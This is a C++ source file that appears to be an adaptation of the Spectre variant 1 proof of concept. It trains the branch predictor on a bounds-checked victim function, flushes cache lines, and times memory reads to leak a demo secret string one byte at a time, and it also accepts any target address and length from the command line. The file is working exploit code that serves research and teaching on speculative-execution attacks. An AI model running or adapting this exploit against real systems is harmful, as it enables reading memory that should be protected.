spec.cc

#include "array_seq.h"
#include <array>
#include <cstring>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#ifdef _MSC_VER
#include <intrin.h> // for rdtscp and clflush
#pragma optimize("gt", on)
#else
#include <x86intrin.h> // for rdtscp and clflush
#endif

using namespace std;

//--------------------------------------------------------------------
// Victim code
//--------------------------------------------------------------------
const char* secret = "Monte Otter lives at 100 Campus Ctr.";

unsigned int array1_size = 16;
const uint8_t unused_size = 64;

auto unused2	= array<uint8_t, unused_size>{};
auto unused1	= array<uint8_t, unused_size>{};
auto array2		= array<uint8_t, 256 * 512>{};
auto array1		= range<uint8_t, 160, 16, 1>;

uint8_t temp = 0; // Used so compiler won’t optimize out victim_function()
void victim_function(size_t x) {
	if (x < array1_size) {
		temp &= array2[array1[x] * 512];
	}
}

//--------------------------------------------------------------------
// Analysis code
//--------------------------------------------------------------------
const unsigned int CACHE_HIT_THRESHOLD = 80; // assume cache hit if time <= threshold

// Report best guess in value[0] and runner-up in value[1]
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2], void (*victim)(size_t)) {
	static int results[256];
	int tries = 999, i, j, k, mix_i, junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2;
	volatile uint8_t* addr;

	for (auto& x : results) { x = 0; }
	
	while(--tries > 0) {
		// Flush array2[256*(0..255)] from cache
		for (i = 0; i < 256; i++) {
			_mm_clflush(&array2[i * 512]); // intrinsic for clflush instruction
		}

		// 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) 
		training_x = tries % array1_size;
		for (j = 29; j >= 0; j--) {
			_mm_clflush(&array1_size);
			for (volatile int z = 0; z < 100; z++) {} // Delay (can also mfence)

			// Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0
			// Avoid jumps in case those tip off the branch predictor
			x = ((j % 6) - 1) & ~0xFFFF; // Set x=FFF.FF0000 if j%6==0, else x=0
			x = (x | (x >> 16));		 // Set x=-1 if j&6=0, else x=0
			x = training_x ^ (x & (malicious_x ^ training_x));

			// Call the victim!
			victim(x);
		}

		// Time reads. Order is lightly mixed up to prevent stride prediction
		for (i = 0; i < 256; i++) {
			mix_i = ((i * 167) + 13) & 255;
			addr = &array2[mix_i * 512];
			time1 = __rdtscp((unsigned int*)&junk);		 // READ TIMER
			junk = *addr;					 // MEMORY ACCESS TO TIME 
			time2 = __rdtscp((unsigned int*)&junk) - time1; // READ TIMER & COMPUTE ELAPSED TIME
			if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) {
				results[mix_i]++; // cache hit - add +1 to score for this value
			}
		}

		// Locate highest & second-highest results results tallies in j/k
		j = k = -1;
		for (i = 0; i < 256; i++) {
			if (j < 0 || results[i] >= results[j]) {
				k = j;
				j = i;
			} else if (k < 0 || results[i] >= results[k]) {
				k = i;
			}
		}
		if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) {
			break; // Clear success if best is > 2*runner-up + 5 or 2/0) 
		}
	}

	results[0] ^= junk; // use junk so code above won’t get optimized out
	value[0] = (uint8_t)j;
	score[0] = results[j];
	value[1] = (uint8_t)k;
	score[1] = results[k];
}

int main(int argc, const char** argv) {
	// Create an offset to the 'secret' based on publicly available information
	size_t malicious_x = (size_t)(secret - (char*)array1.data()); // default for malicious_x
	int score[2], len = strlen(secret);
	uint8_t value[2];
	
	array2.fill(1); // write to array2 so in RAM not copy-on-write zero pages

	if (argc == 3) {
		sscanf(argv[1], "%p", (void**)(&malicious_x));
		malicious_x -= (size_t)array1.data(); // Convert input value into a pointer
		sscanf(argv[2], "%d", &len);
	}	
	printf("Reading %d bytes:\n", len);

	while (--len >= 0) {
		printf("Reading at malicious_x = %p... ", (void*)malicious_x);
		readMemoryByte(malicious_x++, value, score, &victim_function);

		printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
		printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

		if (score[1] > 0) {
			printf("(second best: 0x%02X score=%d)", value[1], score[1]);
		}
		printf("\n");
	}

	return 0;
}